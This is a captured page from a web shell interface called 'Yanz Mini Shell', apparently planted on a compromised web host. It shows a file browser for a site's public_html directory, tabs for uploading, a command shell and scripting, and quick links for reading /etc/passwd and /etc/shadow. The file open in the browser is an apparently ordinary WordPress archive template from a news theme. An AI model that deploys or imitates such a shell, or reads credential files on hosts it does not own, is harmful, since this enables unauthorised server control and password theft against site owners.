Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
menop
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php /** * Archive * * @package Newzline * @author PMThemes * @link https://pmthemes.com/newzline/ * @since 1.0.0 * @license GPL-2.0+ **/ // Full width //add_filter( 'newzline_page_layout', 'newzline_return_full_width_content' ); // use for non-customizer projects // Return Full with only if customizer setting not set return_full_width_content_custom(); /** * Body Class * */ function newzline_archive_body_class( $classes ) { $classes[] = 'archive'; return $classes; } add_filter( 'body_class', 'newzline_archive_body_class' ); /** * Archive Header * */ function newzline_archive_header() { $theme_def = newzline_theme_defaults(); $title_align = esc_html(get_theme_mod( 'pmth_archive_title_align', $theme_def['arc_title_align'])); $title = $subtitle = $description = $more = false; if( is_home() && get_option( 'page_for_posts' ) ) { $title = get_the_title( get_option( 'page_for_posts' ) ); } elseif( is_search() ) { $title = 'Search Results'; $more = get_search_form( false ); } elseif( is_archive() ) { $title = get_the_archive_title(); if( ! get_query_var( 'paged' ) ) $description = get_the_archive_description(); } if( empty( $title ) && empty( $description ) ) return; $classes = [ 'archive-description', $title_align ]; if( is_author() ) $classes[] = 'author-archive-description'; echo '<header class="' . join( ' ', $classes ) . '">'; do_action ('newzline_archive_header_before' ); if( ! empty( $title ) ) echo '<h1 class="archive-title">' . $title . '</h1>'; if( !empty( $subtitle ) ) echo '<h4>' . $subtitle . '</h4>'; echo apply_filters( 'newzline_the_content', $description ); echo $more; do_action ('newzline_archive_header_after' ); echo '</header>'; } add_action( 'tha_content_while_before', 'newzline_archive_header' ); // Display additional custom class from customizer function add_custom_class() { $theme_def = newzline_theme_defaults(); $col_opt = get_theme_mod( 'pmth_archive_column_opt', $theme_def['arc_column_opt']); $col_numb = esc_html( get_theme_mod( 'pmth_archive_col_number', $theme_def['arc_column_number'])); $col_width = esc_html( get_theme_mod( 'pmth_archive_col_width', $theme_def['arc_column_width'])); if ( isset ($col_opt) && $col_opt == 'col-number' ): return ' gridd '.$col_numb.''; elseif ( isset ($col_opt) && $col_opt == 'col-width' ): return ' gridd '.$col_width.''; endif; } add_filter( 'newzline_site_main_class', 'add_custom_class' ); // Breadcrumbs add_action( 'newzline_archive_header_before', 'newzline_breadcrumbs', 5 ); // Build the page require get_template_directory() . '/index.php';
Free Space : 163497488384 Byte